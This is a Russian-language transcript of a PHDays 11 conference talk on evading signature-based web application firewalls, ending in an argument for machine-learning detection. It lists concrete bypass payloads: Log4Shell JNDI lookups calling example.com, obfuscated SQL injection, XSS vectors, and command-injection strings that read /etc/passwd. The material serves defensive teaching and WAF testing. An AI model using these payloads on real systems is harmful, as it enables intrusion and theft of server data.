Обход сигнатур WAF: Расшифровка доклада на PHDays 11
19 мая наш коллега Романов Роман выступил на PHDays 11 с докладом, где вкратце рассказал о том, как в 2022 году с помощью WAF противостоять атакам на веб-приложения и почему сигнатурный метод - не лучший для этого выбор.
Positive Hack Days — международный форум по практической безопасности, который проходит в Москве ежегодно начиная с 2011 года. Организатор — компания Positive Technologies.
Начнем с начала
Использование WAF сопровождается двумя проблемами - пропуски атак и ложные срабатывания. Для уменьшения ложных срабатываний ослабляют правила блокировки, что увеличивает количество пропусков атак, а попытка уменьшения пропусков путем усиления правил - увеличивает ложные срабатывания. Например, если написать правило, которое будет блокировать запрос по ключевому слову select или or, то заблокированы будут и легитимные запросы, например, содержащие selector.php.
Качественно написанная база правил, в целом, позволяет защитить веб-приложение от большинства нецелевых атак, но не гарантирует полной защищенности.
Информация предоставлена исключительно в ознакомительных целях. Не нарушайте законодательство!
Недавний пример с уязвимостью Log4J наглядно показывает, что на каждый байпас атакующий может написать новый.
${jndi:dns://example.com/...}
${jndi:rmi://example.com/...}
${jndi:ldap://example.com/Basic/Command/Base64/...}
${jndi:${lower:l}${lower:d}a${lower:p}://ex${upper:a}mple.com/...}
${${::-j}${::-n}${::-d}${::-i}${::-r}${::-m}${::-i}://example.com/...}
$\{$\{::-j\}$\{::-n\}$\{::-d\}$\{::-i\}:$\{::-r\}$\{::-m\}$\{::-i\}://$\{env:USER\}.example.com/...}
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//example.com/...}
Первые 3 строки - пример эксплуатации уязвимости из-за некорректной работы интерфейса JNDI (Java Naming and Directory Interface), который позволяет программе на языке Java находить и подключать внешние объекты данных, данные могут загружаться атакующим буквально откуда угодно. Последний вариант, кстати, передает данные в Base64.
Последние 4 строчки - варианты байпасов для обхода WAF. Полезные нагрузки составлены на основе документации по Apache Log4j и включают в себя:
{lower:} и {upper:} - преобразование символов в верхний/нижний регистр;
{env:ENV_NAME:-} - использование переменной среды;
{::-} - подстановку строк.
Кстати, попытки эксплуатации и поиски новых байпасов продолжаются до сих пор:
SQL-инъекции' union select 1,2,3,4#
Способов обхода сигнатурного анализа можно придумать много — от банального расщепления нагрузки вроде un","ion se","lect и до использования различных кодировок и манипуляций. Вот несколько способов написания слова select для обхода фильтров:
SeLeCt
selSELECTect
se%6cect
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
Ключевые слова можно и не расщеплять, а просто убирать пробелы между ними. Это можно сделать, например, так:
union+select+1,2,3...
или так:
union/**/select/**/1,2,3...
или даже так:
union(select(1),2,3...
Также можно использовать HPP (HTTP Parameter Pollution) для обхода:
id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
Идея в том, чтобы расщеплять полезную нагрузку и передавать ее, повторяя один и тот же параметр.
Вариантов много и под каждый из них составить правило, без увеличения пропусков атак или ложных срабатываний, не получится.
<script>alert('XSS')</script>
Фильтры на основе сигнатур, предназначенные для блокировки атак XSS, обычно используют регулярные выражения или другие методы для идентификации ключевых компонентов HTML, таких как скобки тегов, имена тегов, имена атрибутов и их значения.
Вместо стандартного <script>alert(‘xss’)</script> можно использовать <img onerror=alert(1) src=a>. А уже его можно изменять множеством способом для обхода WAF:
<iMg onerror=alert(1) src=a> - использовать разный регистр при написании тега;
<x onclick=alert(1) scr=a>Click</x> - использовать произвольный тег;
<img/onerror=alert(1) src=a> - один или несколько символов в конце тега могут сработать в качестве пробела между именем тега и значением атрибута;
""+{toString:alert} - в некоторых браузерах выполняет функцию без использования () и знака =;
Также на кодировках основаны многие способы обхода WAF. Например, последовательность alert() можно частично или полностью передать как:
UTF-8
\x61\x6c\x65\x72\x74\x28\x29
UTF-16
\u0061\u006c\u0065\u0072\u0074\u0028\u0029
UTF-32
u+00000061u+0000006cu+00000065u+00000072u+00000074u+00000028u+00000029
Не стоит забывать и про нестандартные кодировки, которые часто не распознаются WAF: HTTP Entity Encode, Base64, UTF-8 Halfwidth and Fullwidth Forms, множественные URL Encode и т. д.
Под каждый вариант можно попробовать составлять сигнатуры, но, скорее всего, они увеличат количество ложных срабатываний или пропусков атак.
?cmd=; echo 'OS Command Injection'
Атаки этого типа нацелены на выполнение произвольного кода на сервере, поэтому основная задача передать полезную нагрузку в таком виде, в котором он будет интерпретирован целевой системой, но не будет обнаружен WAF. Тут можно использовать несколько способов:
Используя особенность обработки данных Bash-интерпретатором (при наличии OS Command Injection), мы можем прочитать содержимое файла, например, /etc/passwd, выполнив расщепление данных с помощью кавычки:
ca't /et'c'/pas's'wd
или символа ?, который будет преобразован до нужной буквы (/bin/cat /etc/passwd):
/bi?/ca? /et?/pa??wd
/???/??t /???/pa??wd
Даже используя неинициализированную переменную можно расщипить последовательность /etc/passwd и обойти фильтрацию сигнатурами, где $u будет пустой строкой:
cat$u /etc$u/passwd$u
Изменяя разными способами один и тот же запрос, блокируемый сигнатурами WAF, мы можем получить выражение, которое WAF не распознает как атаку.
ec'h'o 'cat /etc/examplewd' | sed 's/example/pass/g' | bash
Данный метод последовательно выполняет: команду echo cat /etc/examplewd, затем с помощью функции sed необходимый участок строки cat /etc/examplewd заменяется по шаблону. После этого уже измененная строка передается в Bash и выполняется на сервере, возвращая результат пользователю. Для WAF такой запрос будет выглядеть как строка, в которой отсутствуют признаки сигнатур.
Можно ли полностью перекрыть подобные попытки обхода сигнатурами? - сказать сложно. Даже если и получится, на каждый метод обхода составить собственное правило, на длинной дистанции это скорее всего приведет к большому количеству пропусков атак или ложным срабатываниями.
Машинное обучение
Недостаток сигнатурного метода обнаружения атак, по сравнению с машинным обучением, очевиден — высокая вероятность обхода WAF с большим количеством ложных срабатываний. Тем не менее, сигнатурный анализ работает быстро и обеспечивает базовую защиту веб-приложения в период обучения и даже после завершения обучения служит первым эшелоном защиты, блокируя очевидные атаки.
Недостаток же машинного обучения - низкая скорость обработки запросов (по сравнению с сигнатурным анализом) и повышенное потребление аппаратных ресурсов сервера. Хоть этот недостаток компенсирует более высокая точность, главное преимущество перед сигнатурами - блокировка запроса на основе совокупности признаков атаки в нем.
То есть, ML предназначен для того, чтобы выявлять и блокировать запросы, которые сигнатурный анализ определить не сможет:
?cmd=/???/??t /???/p?????
Как проверить, на что способен WAF?
Оценить качество защищенности веб-приложения может каждый. На Github мы опубликовали собственный инструмент waf-bypass, с помощью которого можно оценить используемый в данный момент WAF. Этот бесплатный инструмент содержит почти 1500 полезных нагрузок для SQLi, XSS, SSTI, RCE, LFI/RFI и т.д.